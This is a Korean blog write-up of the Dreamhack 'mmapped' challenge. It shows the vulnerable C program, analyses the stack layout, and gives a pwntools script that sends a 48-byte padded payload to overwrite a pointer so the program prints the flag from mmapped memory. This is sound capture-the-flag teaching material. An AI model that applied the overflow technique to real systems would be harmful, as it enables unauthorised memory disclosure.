본문 바로가기

시스템해킹

[드림핵] mmapped 풀이

728x90

보호기법 확인

 

 

 

문제 코드

// Name: chall.c
// Compile: gcc -fno-stack-protector chall.c -o chall

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

#define FLAG_SIZE 0x45

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

int main(int argc, char *argv[]) {
    int len;
    char * fake_flag_addr;
    char buf[0x20];
    int fd;
    char * real_flag_addr;

    initialize();

    fd = open("./flag", O_RDONLY);
    len = FLAG_SIZE;
    fake_flag_addr = "DH{****************************************************************}";

    printf("fake flag address: %p\n", fake_flag_addr);
    printf("buf address: %p\n", buf);

    real_flag_addr = (char *)mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
    printf("real flag address (mmapped address): %p\n", real_flag_addr);

    printf("%s", "input: ");
    read(0, buf, 60);

    mprotect(real_flag_addr, len, PROT_NONE);

    write(1, fake_flag_addr, FLAG_SIZE);
    printf("\nbuf value: ");
    puts(buf);

    munmap(real_flag_addr, FLAG_SIZE);
    close(fd);

    return 0;
}

 

문제 코드를 확인해보면 

fd에 flag파일이 존재하고

fake_flag_addr, buf, real_flag_addr의 주소를 출력해주고

buf에 입력을 60만큼 받는다

libc 버전을 알아내서 plt를 이용하는건지 어려워보인다

 

문제 코드중

mmap으로 flag값을 real_flag_addr에 넣을 때 읽기 권한만 적용하는것을 알 수 있다

그리고 mprotect로 flag값을 보호한다

 

앞서 real_flag_addr의 주소를 입력받을 수 있으니

출력하는 함수인 write(fake_flag_addr), puts(buf)에 변수들에 주소를 입력한다면

flag를 출력할 수 있겠다

 

 

 

 

일단 디버깅을 통해

main stack frame 구조를 확인해야겠다

 

 

 

main stack frame

 

read에서 buf의 입력을 60만큼 할 수 있어

len까지 입력할 수 있다

 

real_flag_addr에 flag값이 들어있는데

overflow로 더미값을 넣을 시

mmap으로 flag에 메모리를 지정할때 읽기권한만 되어있으므로

값이 덮어씌워지지 않는다

 

안심하고 fake_flag_addr에 주소값을 덮어씌우면 flag를 획득할 수 있겠다

 

 

 

payload

from pwn import *
#p = process('./chall')
p = remote('host3.dreamhack.games', 10531)

def go():
    p.recvuntil(': ')

go()
go()
go()
flag_addr = p.recvuntil('\n')[:-1]
print(flag_addr)
flag_addr = int(flag_addr, 16)
print(flag_addr)
go()

payload = b'A' * 48
payload += p64(flag_addr)
p.sendline(payload)

print(p.recv())

p.interactive()

 

real_flag_addr 주소만 받아 16진수 리틀엔디안 값으로 변환했다

 

 

 

 

 

결과

flag 획득 성공

 

 

 

 

 

 

 

 

 

 

풀이 실패 과정

1. mmap을 자세히 보지 않아 real_flag_addr 값을 덮어씌우는줄 알았다

 

2. main stack frame 구조를 틀리게 적었었다.

'시스템해킹' 카테고리의 다른 글

[드림핵] No mov풀이  (1) 2024.11.10
[드림핵] angry_darim 풀이  (0) 2024.11.08
[드림핵] cpp_string 풀이  (1) 2024.10.14
[드림핵] Cherry 풀이  (1) 2024.09.12
[드림핵] awesome-basics 풀이  (0) 2024.09.12